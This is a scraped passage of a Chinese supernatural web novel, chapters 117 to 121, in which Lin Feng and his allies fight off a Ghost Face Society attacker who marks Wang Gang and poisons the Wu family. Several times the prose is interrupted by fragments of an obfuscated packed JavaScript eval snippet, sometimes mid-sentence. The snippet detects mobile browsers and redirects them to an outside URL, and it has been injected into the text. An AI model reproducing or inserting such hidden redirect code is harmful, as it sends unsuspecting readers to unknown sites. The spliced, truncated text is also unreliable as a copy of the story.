王刚变得扭扭捏捏,护着胸口说,“你怎么上来就脱人家衣服,我可不是这样的人。” “闭嘴,站好了!” 明叔难得有这么严肃的时候,扯开王刚的外套,露出一身黝黑的滚刀肉。 当我们看向王刚肩膀的时候,顿时到抽一口凉气。 只见他左肩上,赫然印着一个漆黑的小手印。 手印漆黑犹如墨汁,几乎和皮肤融到一起。 “我去,这是什么?”王刚也察觉到不对劲,脸上的肥肉狠狠抽了一下。 老蝙蝠也不喊饿了,直接飞起来,围绕王刚转了一圈。 随后它一边挖着鼻孔,一边落在我肩上说,“鬼印,这小子被人标记上了。” 我浑身发寒,握住王刚的肩膀使劲晃了晃,“那个找我的人有没有说自己是谁,他去了什么地方?” “我……不知道啊。” 王刚虽然不聪明,可光看我的反应就知道问题不对劲了。 他紧张兮兮地揉着肩上的黑色手印,发现怎么都去不掉,急得满头大汗,“这是什么鬼?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15744009|174184||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “别动它,只是一个标记而已,放心死不了人的。” 明叔按住他的手,眼珠却狐疑地四处瞟。 等我把古香斋大门关起来,他才说,“能神不知鬼不觉在王刚身上留出这种鬼印的人,来头一定不小,这是遇上对头了。” 我一万个不解,“可对方为什么留下这种鬼印,我跟不认识这样一个人……” 明叔深吸一口气说,“只有一个解释,上次替吴娅出气的时候,你们的扫尾工作出了岔子,被那个杀手背后的人找上门了。” “鬼面会?”我当即发出一声惊呼。 T恤男曾经提醒过我,得罪了鬼面会的人一般不会有好下场。 为此他还放出食尸蛊,把矮冬瓜的尸体吃的连渣都不剩。 本以为T恤男是在危言耸听,没想到对方还真找来了! 想到这儿我遍体发寒,冷汗不知不觉就流满了额头。 王刚说,“会不会只是个巧合?” “巧合个屁,人家都找上门了,你肩膀上的鬼印就是他留给我们警告!” 明叔气得大骂,说这种鬼印很麻烦,留在你身上一天,对方随时都能监视你,哪怕跑到天涯海角都能被找到。 王刚声音颤抖的说,“那、那……” “放心吧,不是没有办法解。”明叔强压怒火,走进书房拉开一个抽屉。 下面有个包装精美的盒子,明叔把盒子打开,取出一张蓝色的道符。 我惊愕万分,“你手上居然珍藏了这么贵重的蓝符!” 道符也分三六九等,一般的灵符是用黄纸画的,携带方便,制作简单,但威力比较一般。 高等的道符必须选用特制的材料,比如这种蓝色符篆,不仅材料特殊,散发的灵韵也很强大,效果比黄符好了数倍。 当然蓝符价值也不低,光制作的成本费用都要大几千,售价则高达一万甚至数万,普通术士根本用不起。 “蓝符是我花钱从茅山请的,压在箱底多少年了,一直没舍得用。” 明叔介绍起蓝符的来历,一脸肉疼,瞪了我和王刚一眼说,“买符的费用必须算在你们头上,以后赚了钱还我!” 没等我骂娘表示抗议,他已经把蓝符重重贴在王刚肩上。 第117章 鬼神弄鬼 符纸被贴上的瞬间,顿时滋滋冒出一团白眼。 我看到黑色手印下飘出一团暗灰色的雾气,试图钻出来。 蓝符则爆发出一团阳火,瞬间将它吞噬殆尽。 随着滋滋的腐蚀声,手印颜色由浓转浅,慢慢变淡有了消失的迹象。 蓝符也化作一滩灰烬,灵韵彻底耗光。 我变脸道,“留下鬼印的人好厉害。” “能逼得我用蓝符的,当然不是一般人。”明叔脸色发沉,表示现在麻烦大了。 对方给王刚种鬼印,为的是替我们出手,试探古香斋的底蕴。 当明叔用蓝符抹掉鬼印的时候,对方肯定会有感应。 这是一个阳谋,目地就是确认我们有没有回来。 我不淡定地擦冷汗,“那我们该怎么办?” “敌人在暗,我们在明,只能以不变应万变,等待他先出招了。” 明叔抓起手机,马上给T恤男打过一个电话,本想让T恤男回来帮忙坐镇。 但不知为何,这次T恤来却没有接听。 我很不淡定,如果这人真是鬼面会的成员,在报复我们的同时,肯定也会去找T恤男的麻烦,毕竟他同样参与了这件事。 T恤男忽然失联,该不会是已经被…… “不会的,柳凡的安全暂时还轮不到你操心。” 明叔打断了我的话,要求我和王刚哪儿别去,从这一刻开始就直接留在店里。 没辙我只好同意了。 好在明叔的铺子够大,可以整理出两个房间安置我们。 我们一直守着古香斋,直到天黑。 王刚有点不耐烦,拍着瘪瘪的肚子说,“这么守下去也不是办法,总不能一直待在店里不出去,而且我肚子饿了。” “死胖子,就知道吃,饭桶吧你!” 明叔骂了他一具,一扭头,自己的肚子也在咕咕叫。 我只好说,“干脆点外卖吧,也不知道对方究竟什么时候会来,吃饱喝足才有力气应对不是?” 明叔同意了,等了这么久他也饿。 我点了平时那家外卖,放下手机等待送餐上门。 老蝙蝠还在惦记它的老母鸡,不停绕着我转圈,抱怨自己伙食不好,好几天没吃鸡爽过了。 我无语道,“急什么,这次给你点了炸鸡,先顶一顶,干完活再吃正餐。” 这一等就是半个多小时,王刚感觉不对,挠头说,“今天的外卖小哥怎么送餐迟到了,平时不蛮准时的吗?” 他话刚说完,我们就听到古香斋后院传来咚咚的敲门声。 “肯定是送外卖的到了。” 王刚早就饿得不行,赶紧去开门。 我和明叔同时按住他,“就知道吃的,你特么脑子进水了,敲门的不可能是外卖员。” 王刚狐疑地看向我们,“为啥?” 明叔拧眉道,“古香斋的前门和后院都可以进出,但前门靠大街,后院却是一条很僻静的小巷子。” 之前点餐的时候,外卖员走得都是正门。 没理由舍近求远,跑到后院送餐。 王刚马上不吭气了,别看这小子长了一身横肉,胆子却不是很大。 老天爷也不知道哪根神经搭错了,就在我们陷入紧张的时候,后院也刮起了阴冷的穿堂风。 呼呼的风,不断在院子里盘旋,气温骤降得厉害。 拍门声停顿了几秒,再次响起。 咚咚的声音,更像是敲在人心坎上。 我实在受不了这种压抑的氛围,腾一声站起来,对着敲门的人吼道,“别敲了,你特么到底是谁?” 没有回答。 风依旧没有停止的迹象,树影在墙上摇曳,偶尔能看到大街吹来的塑料袋。 氛围正在逐渐走向诡异,跟拍香港鬼片差不多。 明叔凑到我身边,“这样不是办法,让蝠前辈过去看看吧。” 我嗯了一声,刚要找老蝙蝠帮忙,一扭头才发现丫不见了。 靠,肯定是记恨我没给它鸡吃,居然在这个节骨眼上摆烂罢工。 我气得都不行了,没办法只好走向后院,趴在门缝上,把院门稍微推开了一点。 不看不要紧,一看之下,居然发现门缝外有一只圆圆的、带着邪气的眼睛,同样趴在门缝外面看着我。 我去! 这双眼睛给我白毛汗都吓出来了,差点跌在地上。 “妈的,叫你装神弄鬼!”我一个鲤鱼打挺,直接从地上蹦起来,对着大门就是一脚。 哐当一声,门栓被我踹得开裂。 随着院门嘎吱一声敞开,我反倒松口气。 只见一个纸扎的假人挂在门上,跟随着冷风一起摆动。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15744010|174184||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “搞什么嘛,自己吓自己。” 我关上院门,对严阵以待的明叔和王刚挥了挥手,“别怕,纸人而已。” 老街上有好几家专门从事殡葬行业的店铺,估计是风太大,把纸人刮到巷子里面了。 明叔却皱眉说,“不对,如果外面只是个纸人,那刚才敲门的声音又是怎么来的?” 我心里咯噔一下。 几乎在同一时间,那该死的砰砰声又响了。 “还有完没完!” 我气得握住一把尖刀,用刀尖对着门缝,“你到底是干嘛的?” “送外卖。”门外传来一个男人低沉的嗓音,和冷风裹挟在一起,忽闪忽现。 我冷笑,“外卖小哥从来不走后门,你是假的!” 那个声音持续道,“想知道我是不是假的,开门不就知道了?” “好,我这就开门,你丫可别后悔!” 我重新把着大门,猛地用力一掀。 大门被推开的瞬间,尖刀已经猛地刺过去。 然而,就在我打算一鼓作气搞定这个装神弄鬼的家伙时,身后却传来明叔的大喊,“不可!” 刀锋已经递出一半,被我生生停下了。 外面的人站着不动,像是故意等我一刀刺下去。 情况不对,我急忙收刀后退了两步。 门外的人直挺挺地砸过来,砰一声,半截身子摔进后院。 他脸先着地,由于角度的关系,我看不清这家伙长相。 只觉得背影有点熟悉。 愣神的同时,明叔已经快速跑来,翻过这个人的正脸。 “怎么会是他?” 当我看清这个人的长相之后,头皮瞬间就麻了。 老姜! 一个多月之前,那个曾经因为身上长了尸菌,跑来找我求助的包工头。 “他被人迷心了,赶紧把人抬进去。” 明叔把手凑到老姜鼻子下试探,深吸一口气,找来王刚帮忙。 我看着倒地不醒的老姜,心里一万个问号,“为什么老姜要装神弄鬼吓唬我们?” 明叔脸色难看,“你还不懂?有人迷惑了老姜的心智,操控他敲门,是为了混淆我们的视听。” 刚才我在暴怒下往门外扎了一刀,如果没有明叔提醒,老姜已经变成死人了。 而我,也会成为杀人犯。 第118章 热脸贴冷屁 好毒辣的心计! 老姜只是个普通人,而且这里属于闹市区。 如果我刚才那一刀真的刺进老姜胸口,根本不需要这个躲在暗处的家伙出面,警察就能把我收拾了。 明叔的表情黑得跟铁一样,“先把人弄醒,问一问到底是什么情况。” 很快我们就把人抬进室内,王刚搞了一盆凉水,劈头盖脸浇下去。 被冷水一激,老姜顿时打了个激灵,条件反射般蹦起来, “我去,这是在哪儿?咦,小林大师……” 刚醒来的老姜完全搞不清楚状况,摸着后脑勺发懵。 我皱眉说,“我还想问你呢,大半夜跑来这里,假扮成送外卖的敲门,到底安的什么心。” “你开什么玩笑,我明明向吴总汇报工作去了,谁有空跑来你这儿敲门。” 老姜使劲摇头,说自己昏迷前夕正赶着去找吴总汇报工作。 上次那个工地又遇到了麻烦,有几个工人莫名其妙摔伤了,家属闹得很厉害。 老姜怕耽误工期,只能连夜去找吴总汇报。 谁知他刚把车开到吴总家门口,忽然就感觉眼前一黑,好像后脑勺挨了一闷棍,接着就什么都不知道了。 老姜边说边用手扶着脑门,露出后面一个鼓起来的大包。 我和明叔则是悚然一惊,异口同声道,“什么,你是在吴总家出的事?” 坏菜了! 我用力一拍大腿,马上就联想到一件事。 我们之所以和鬼面会结仇,是为了帮吴娅出气。 对方一旦查清楚矮冬瓜的死因,肯定也会迁怒于吴家人。 想到这儿我立刻骂了句,“该死!”转身就要往吴家跑。 明叔拦下我,说你跑什么,去哪儿? 我说还用问?当然是去吴家了。 老姜在去吴家的路上出事,这说明对方已经准备对吴总父女俩下手了,现在赶过去或许还来得及。 明叔却迟疑了下,低声说,“面对鬼面会这样的对头,我们可能自身都难保,你最好别蹚浑水。” 我不同意,“这怎么能是蹚浑水?” 从一开始就是我在连累吴娅,如果她和吴总真的因此而倒霉,我这辈子都无法原谅自己。 王刚也说,“对,男子汉大丈夫,一人做事一人当,决不能连累无辜,这次我站林峰。” “你们……靠!” 明叔看我的表情特别不爽,好像我玩了他老婆似的,趁着额头苦笑道,“早知道你小子是个麻烦,没想到会这么麻烦,我都后悔不该收留你了。” 老姜已经搞清楚了情况,马上从椅子上跳起来,“这么说有人要对付吴总?” 我头疼道,“不确定,我只能说这个概率很大。” 老姜连忙咽唾沫,“那还等什么,咱们赶紧去帮忙啊!” 吴总是房地产开发项目的大老板,万一他出了事,工地一准得黄。 老姜作为包工头,在工地投了不少钱,当然不能让这种事发生。 不过出门前,老姜还是不忘先找到明叔说,“那个……能不能先卖我一件防身的东西?” 明叔自然放过到手的生意,笑眯眯说当然可以。 接着他取出匣子,指着几张珍藏版的蓝符说,“五万一张,量大从优。” 老姜吓一跳,“卧槽这么贵,那我不要了,旁边那根钉子怎么卖的?” “这个是穿心钉,价值三个卧槽。” “……给我来张符吧。” 带好家伙,我们马不停蹄出发,为了谨慎起见,我还特意跑回出租屋,把供在神龛上的桃元拿在手上。 半小时后,我们抵达了吴家别墅。 有钱人往往都不止一套房,这次去的是吴总的别墅,和上次去的地方不一样。 到了门口,老姜使劲擂门。 没一会儿别墅里传来脚步声,开门的是个女佣人,一脸狐疑地看着我们,“你们是?” “快叫吴总起床,我有重要的事跟他说。”我急忙擦过去,对女佣大喊一声。 女佣见我这幅火急火燎的样子,迟疑了一下,“可吴总和太太已经睡了……” “睡了就叫起来,赶紧的,别耽误我们时间!” 我顾不上客气,不顾女佣阻拦闯进别墅,大喊吴总的名字。 别墅二楼有灯光亮起,吴总睡眼惺忪下楼,“谁呀,这大半夜的吵什么……怎么是你?” 一看见来人是我,吴总的表情马上变得有些复杂。 我却顾不上这个,冲上去说,“吴娅呢?她出院之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15744011|174184||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后有没有跟你住在一起。” “你打听我女儿下落干嘛,不说好了以后不跟她见面吗?” 吴总仍旧在嫉恨我上次连累吴娅的事。 我喘气说,“你放心,我不会骚扰你女儿,这次找你是为了报信,你家可能会有危险。” “什么危险?” 吴总满脸不信,这时候他身边又走出了一个穿睡袍的女人,年纪看着不是很大,估计也就三十出头的样子,嗲声嗲气地靠在吴总胳膊上说, “老公,这些都是什么人啊?” 一看见这个搔首弄.姿的女人,我就联想起了吴娅的话。 看来他就是吴娅的年轻后妈,现任吴太了。 我没心情理会别人的家务事,赶紧对吴总讲出了事情的始末。 包括孙杨是怎么惦记上吴娅,怎么花钱买通杀手,以及我们为了帮吴娅出气,找杀手报复的过程, “这个杀手来头不一般,背后还有个很厉害的人,有可能会因此迁怒到你家。” 得知了前因后果,吴总顿时气得跺脚,指着我鼻子骂我灾星, “我已经让女儿远离你了,为什么还是会惹上这么多麻烦,你要连累我家到什么时候。” 他的话引起了王刚的不满,绷着脸说,“姓吴的你要点脸成吗?你工地出事,是林峰帮忙搞定的,事后吴娅主动缠着林峰,要他解决你前妻的时候,也是林峰冒着很大风险为你家擦的屁股。” “没有林峰,你前妻已经被人炼成恶煞了,一家老小都跑不掉!” 吴总一时语塞,嘴硬道,“可是我付钱了。” “呵呵!” 这次别说王刚,连明叔都听不下去,拽了我一把说,“走吧林峰,人家压根不领情,干嘛用热脸贴他冷屁股?” 走出一半,明叔不忘转身威胁, “吴总,我们和鬼面会的恩怨,说到底也是为了帮你女儿出气,谈不上谁连累谁。” 以鬼面会的行事作风,绝不会放过任何一个和此事有关的人。 明叔让吴总只求多福,早点打好棺材,最好让他回房间选个舒服点的姿势躺下。 “别……你们先等等,我为刚才的话道歉。” 吴总虽然看我不顺眼,可对明叔的话却很信服,当即换了副口吻。 第119章 五毒吞运 要不人家是大老板呢,这见风使舵的转变就是快。 意识到问题的性质严重,吴总马上邀请我们留下来。 明叔瞥了我一眼,不咸不淡说,“你刚才不还让我离你家远点吗?” “对……不起,我只是一时心急,请你们体谅一个当父亲的心情。” 吴总支支吾吾解释,我虽然心里同样有气,毕竟还是做不到袖手旁边,打断他道, “别说了,我能理解,你不用担心我会跟你女儿产生什么联系,今天找你只是为了擦上一次的屁股。” 我对吴总的看法已经有了转变,这种人并不是太值得让我尊重。 但他毕竟是吴娅的亲生父亲,我只能耐着性子给出承诺,让他赶紧把吴娅叫出来。 吴总说,“可女儿并没有跟我住一起。” 我皱眉道,“吴娅不是受伤了吗,出院还不到一个星期,你怎么舍得让她一个人住?” 吴总支支吾吾,看了眼身边的吴太,“我倒是想接女儿过来,可她和我现任妻子处不来……” 靠! 我很想骂娘,到底还是忍住了,回头对王刚喊道,“刚子,你和明叔跑一趟,去吴娅住的地方看看,一定要确认她安全。” 明叔和王刚迟疑了下,“可你一个人……” “没时间废话,快去!” 我斩钉截铁打断了他们,明叔只好点头,“行吧,你小子底牌多,应该不会有事。” 他拉着王刚就往外面跑,我和老姜则留了下来。 吴总不淡定地说,“那接下来该怎么办,那些坏人什么时候回来啊?” “我哪儿知道?” 我气鼓鼓地回了一句,直接背过身,敲了敲胸口的槐木牌。 老蝙蝠不适合当着这么多人的面化形,给了我一句回应,“老大,你说咋办?” 我让它想个办法,先在吴家别墅外面布置一下,免得有人直接闯进来。 老姜的遭遇说明吴家早就被人盯上,只是对方出于某种顾虑,并没有第一时间下手。 我不知道这次回来几个人,更不清楚来的人到底有什么手段,只能拜托老蝙蝠帮忙拦截了。 “倒也行,十五只老母鸡,一只不能少。” 靠,趁火打劫啊。 我恨得牙痒痒,打定主意回头要狠狠抽他一顿,现在却只能忍气吞声答应下来。 老蝙蝠得了实惠,马上行动起来,化作一股风的飘向别墅外面。 吴家人肉眼凡胎看不见老蝙蝠,但明显能看到一股冷风围绕别墅打转,纷纷吓得后退。 我回头说,“别担心,把所有人都聚在一起,没我的吩咐谁都不能离开大厅。” 吴总不敢违背,赶紧让吴太把佣人们全都召集在一起。 随后一脸讨好走向我,“小……林大师,为什么要把人召集起来?” 我沉下脸,人多是为了聚阳气,防止邪祟混进来。 他家太大了,如果佣人们全部分散,有可能被人逐个击破。 唯一的办法就是把人聚在一起,有什么事也能互相照应。 几分钟后老蝙蝠飘回来了,对我比划了一下爪子。 我大步走向老蝙蝠,“布置得怎么样?” 老蝙蝠抓耳挠腮,“吴家的别墅真大,我只能在几个重要的位置布置陷阱,也不知道究竟挡不挡得住。” 话刚说完,别墅里面传来惊叫。 我脸色一变,急忙跑进去。 发现是之前为我们开门的女佣,不慎从楼梯上摔下,脚都变形了。 吴总埋怨道,“怎么这么不小心,偏偏这时候出鬼!” 女佣急忙解释,“不是的吴总,刚才我看见窗户外面好像有东西,被吓得从楼梯滚下来。” 窗户外面? 我马上抬头看向屋顶。 通过对气的捕捉,果然有一丝若有若无的阴气盘旋。 看来对方已经准备下手了。 “待着别动,记住不能乱跑!” 我抽出桃元,扭头跑向外面的假山石。 刚到那扇窗户附近,果然看见一道黑影盘在那里。 怎么是蜥蜴? 我还在愣神,假山石下的大蜥蜴已经爬起来,舌头猛伸,刺向我喉咙。 蜥蜴的舌头犹如皮筋一样拉伸,迅猛无比,带着一股毒烟。 就算用脚趾头想,我也猜到这蜥蜴是用阴法饲养长大的。 危急关头我拔出桃元木剑,剑锋一挑。 虽然是木剑,但毕竟是四转雷击木,雷意充足,附带着阳煞属性。 蜥蜴被桃元木剑洞穿,僵直不动。 老蝙蝠提醒我,“老大,左边花园也有情况。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15744012|174184||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 我马上丢开蜥蜴,转身跑向左边。 眼前赫然出现一只碗口大的癞蛤蟆。 和普通的癞蛤蟆不同,这一只浑身发绿,身上的疙瘩肉瘤凸起,嘴里还喷洒着诡异的白烟。 “是蟾毒,它想利用毒气污染吴家的家宅气运!” 老蝙蝠抽冷子扑上去,翅膀一张,对着大蟾蜍猛吸一口。 蟾蜍好像遭遇了天敌,往草丛方向跳去。 “嘿嘿,暂时吃不到鸡,先拿你当点心吧。”老蝙蝠笑得猥琐,翅膀一扇跟着钻进去。 接着,我又在吴家别墅外五个不同的地方分别发现了五种毒虫。 蛇、毒蝎、蜈蚣、蟾蜍和蜥蜴。 这分明是仿造五毒的配置布置起来的。 老蝙蝠飘在我身后说,“五毒盖穴,丫的可真毒啊,爷终于明白对方为什么早就盯上吴家,却迟迟不下手了。” 吴家气运很旺,就算被人用百蛇垫棺的风水格局摆过一道,依旧气运昌隆。 可见祖上出过大德之人。 对方盯上了吴家的气运,用法五毒布局,分别对应金木水火土五行之术,为的是利用毒虫吸收他家的运势,增强邪术修为。 该怎么破? 虽然破书上也有关于风水法阵和奇门遁甲的内容,但太深奥了,我每次一读到这个就头疼。 老蝙蝠怪笑说,“简单,找出布局的人,一刀送他下去,什么麻烦都搞定了。” 好! 我杀心暴起,让老蝙蝠帮我寻找布局的人在哪儿。 老蝙蝠化作灰影冲天,围绕别墅徘徊了几圈,忽然发出一声厉啸,虚幻的身影好似箭头一样指向东北位。 就在那里。 我拔腿狂奔,果然看见东北方位飘来一股浓雾,好似能吞人似的。 煞风凝聚,老蝙蝠刚冲进浓雾,身影霎时不见。 “哪儿去了?” 我心头一紧,刚要追进浓雾,耳边就传来落花洞女的提醒,“小心,撤!” 这位大姐平时不出现,但每次出现都很关键。 得到她的提醒后,我马上把脚尖往回撤。 一支竹箭疾射破空,嗖一下刺破黑暗,稳稳扎在地面上。 竹箭看似绵软,却入土三寸,尾端嗡嗡颤个不停。 这要是扎在人身上,还不得破皮? 第120章 解毒 我吓得双腿发软,差点没站住。 抬头一看,前面雾气变得更浓了,老蝙蝠一直没有动静传来,我不敢乱闯,担心前面还有陷阱。 就这样等待了十几秒,一团灰气从浓雾中倒飞回来。 没等我看清,耳边已经传来老蝙蝠的大骂声,“狗曰的,想阴我,你还嫩点!” 我看见老蝙蝠灰头土脸从地上爬起来,在离它不远的地方,则是一张燃烧殆尽的道符。 道符差一点就贴在老蝙蝠身上,好在它反应快,及时冲出来了。 我跑上去问,“前面啥情况?” 老蝙蝠甩着不剩赖毛的脑袋,骂骂咧咧说,“这兔崽子太阴了,利用的浓雾屏蔽我的感知,蹲在暗处用道符对付我。” 如果不是老蝙蝠逃命功夫一流,怕是已经中了招。 我说,“那你看清楚对面的人长什么样没有?” 它甩了甩脖子,说没看清楚,这些浓雾不能能屏蔽视线,还能影响它的感知, “我只知道这家伙穿着黑大衣,动作很快,个子不高,没准是个娘们。” 娘们? 我一愣,低头看了看地上的五毒,虽然这些毒虫被我赶跑了,但跑得不是很远,全都躲在草丛里偷偷观察我们。 感觉这些畜牲都有人类的思维,看我的眼神更是直勾勾的,充满了人性化的怨毒。 我后背发凉,意识到来人很不简单,可能比上一个矮冬瓜还要难对付。 我问老蝙蝠要不要一起冲出去? 老蝙蝠一所脖子,说你想死啊,对方是有备而来,提前布置这么多陷阱,要的就是我们自投罗网。 现在冲出去,跟找死没分别。 可总不能一直守着别墅被动防守吧。 我准备先回去找吴总问一问,像这种高档别墅四周都布置了监控。 没准可以通过监控找出那个人的位置。 但,就在我转身折返,即将跨进别墅大门的时候。 老蝙蝠又是一声怪叫,“小心别过去。” 我被吓一跳,抬头看见门口的吊灯径直砸下来,落在距离我脚尖不到半米的地方。 水晶灯被砸坏,各种玻璃弹射起来,滚落一地。 别墅里响起惊呼声一片,灯光瞬间黑下来。 “别乱,都站在原地不要到处跑!”短暂震惊后,我意识到这是对方陷阱,故意掐断电源,为的是让别墅里的人陷入混乱。 在我的大声呵斥下,别墅里的人逐渐安静下来。 我刚点燃蜡烛,耳边就传来吴太的抽泣声,“老公你怎么了?” 等我冲上去看的时候,只见吴总脸色惨白如纸,跟个蛤蟆一样趴在地上。 身边站着不知所措的老姜,一帮女佣也纷纷围上来,七手八脚地想要搀扶吴总起身。 “别动。” 我制止了她们,迎上去对老姜问道,“吴总怎么倒在地上,刚才发生了什么?” 老姜手足无措说,“不知道啊,吴总一直好好的,直到刚刚,屋里黑了一下,大家都害怕到处跑,然后我就发现他倒地了。” 我脸色很不好看,蹲下去,把吴总翻过来。 只见他脸色乌青,嘴唇发紫,嘴边也挂上了很多白色的沫子。 这是典型的中毒征兆。 该死。 我脸色更难看了,对方虚晃一枪,把我引出别墅,看来是调虎离山,趁吴总身边没人了再下手。 还是大意了。 现在明叔刚离开不久,身边没有懂得解毒的人。 我只好放出老蝙蝠,问他能不能把吴总身上的毒素吸出来。 老小子翻白眼,“你想我死啊?” 我说你平时不是什么都往嘴巴里塞吗,这会儿怎么不行了。 它无语地撇着嘴,用小爪子指向吴总说,“这次的毒不一样,应该是用五种毒虫柔和在一起,专门炼制的蛊毒,就算妖也扛不住。” 我一脸遗憾,看着吴总那张抽搐的脸,他刚才惊慌失措下跑丢了一只鞋。 连鞋子都跑丢了,看来是真没救。 可吴总毕竟是吴娅的老爸,他要是死了,我该怎么对吴娅交代。 正当我感到憋屈的时候,耳边又传来落花洞女的冷笑,“现在就断定救不了,还为时过早,别慌,他只掉了一只鞋,另一只脚上的鞋还在呢。” 我眼前一亮,这么说还有缓? 落花洞女得意道,“当然了,我知道怎么救,可以把方法告诉你,至于代价嘛……” 她故意拖长的音调,瞬间就让我夹紧了双腿。 感觉肾亏一直没好过。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15744013|174184||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 为救人我没得选,只能苦笑着答应,“好吧,这个月多交一次房租,你赶紧的,别墨迹!” 老姜和其他人则是一脸不解,小心翼翼凑上来,“林大师,你自言自语跟谁聊天呢?” 我说,“别问,帮我打一盆清水来,家里有精盐没有?” “有的有的!”一个女佣马上站起来,跑进厨房帮我找东西。 拿到精盐后,我直接撬开吴总的嘴,将大半包精盐都灌进去。 “我次奥,你也太狠了!” 老姜眼睛都看直了,蹲在旁边说,“就算吴总对你态度不好,也没必要这么报复他吧。” “你懂什么,闭嘴!” 我呵斥老姜一句,让他一边玩儿去。 没猜错的话,吴总身上的蛊毒,应该和外面那五种毒虫是一体的。 虽然毒虫被我驱散,可它们身上的毒素却通过煞气转移到吴总身上。 一旦毒素散开,神仙都难救,所以必须想办法把毒素引出来。 精盐可以引出这些毒素,办法是落花洞女教给我的,不确定是不是一定有效,只能死马当活马医。 一次性被灌进去这么多精盐,谁也齁不住,很快吴总就痛苦地把眼睛睁开,想喝那盆清水。 我则故意把清水挪到他够不着的地方,示意老姜帮我把人摁住。 吴总渴得都不行了,伸长舌头去舔舐里面的清水。 心口起伏,脸都别成了绛紫色。 老姜看不过去,小声说,“你灌了他这么多精盐,还不让喝水,这跟酷刑有什么区别。” 我点头说,“要的就是酷刑。” 一次吃了这么多精盐,不仅吴总扛不住,他身上的五毒也扛不住。 就在吴总拼命伸长舌头去喝水的时候,舌尖居然有五道黑气流动出来。 好像是灵体。 “五毒被引出来了,动手吧。” 随着落花洞女一声提醒,我果断出手,拿出一张道符,狠狠朝吴总脸上贴过去。 五道黑气刚接触道符,立刻就冒出白眼,发痴滋滋灼烧声,随后化作浓雾消失。 与此同时吴总的脸色有了恢复,只是依旧满脸痛苦,躺在地上哼唧个不停。 我坏笑道,“现在可以灌他喝水了,有多少灌多少。” 第121章 吃亏 哥们虽然脾气好,但也不是什么人都好惹的。 吴总对我前倨后恭,一直为了吴娅的事情排斥我,说话特别难听。 我早就憋了一肚子火,平时碍于脸面不好发作,这次就给他点教训好了。 得到我的吩咐,老姜马上抱起了水盆,撬开吴总的嘴巴使劲灌。 他刚吃了一包精盐,现在又被老姜拼命灌水,顿时肚子胀大鼓成了球,像个孕妇一样在地板上打滚哀嚎。 十几秒后,吴总趴在地上“哇”了一声,把刚才喝下去的水,包括精盐全都喷出来。 本来到这一步就差不多了,可出于恶趣味,我继续让老姜灌他喝水, “这是给他洗肠呢,多催吐几次就好了。” 在我坏笑的催促下,吴总被折腾够呛,足足吐了七八回,浑身无力趴地上喘气,连爬起来的力气都没有。 我见差不多了,这才阻止老姜灌水。 吴总缓了好一会儿,好不容易才恢复爬起来的力气,又被我一句话吓得趴回去, “别动,你的一举一动都被人监视,如果对方知道你没死,说不定会继续下毒。” 吴总赶忙趴在了地上,气若游丝看我,“谁给我下的毒?” 我说这得问你啊,最近家里接触过来历不明的女人没有。 刚才老蝙蝠说了,看这个凶手的穿着打扮,有点像是一个女人。 吴总悄无声息中毒,估计是提前和这个女人有过接触,在毫不知情的情况下被人下了蛊毒。 等到合适时机再发作,为的是让我们自乱阵脚。 “女人?” 吴总一脸疑惑,想半天都想不起来。 倒是他身边的吴太忽然说,“我想起来了,昨天傍晚,有个推销化妆品的女人来过,我把她请到家里坐了一会儿。” 我呼出一口长气,“这女的长什么样?” 吴太偏头回忆了半天,“她带着墨镜,身材不高,但是很瘦,短发,看起来很干练。” 我点点头,看来下毒的,应该就是这个打着推销化妆品名义,混进吴总家的女人了。 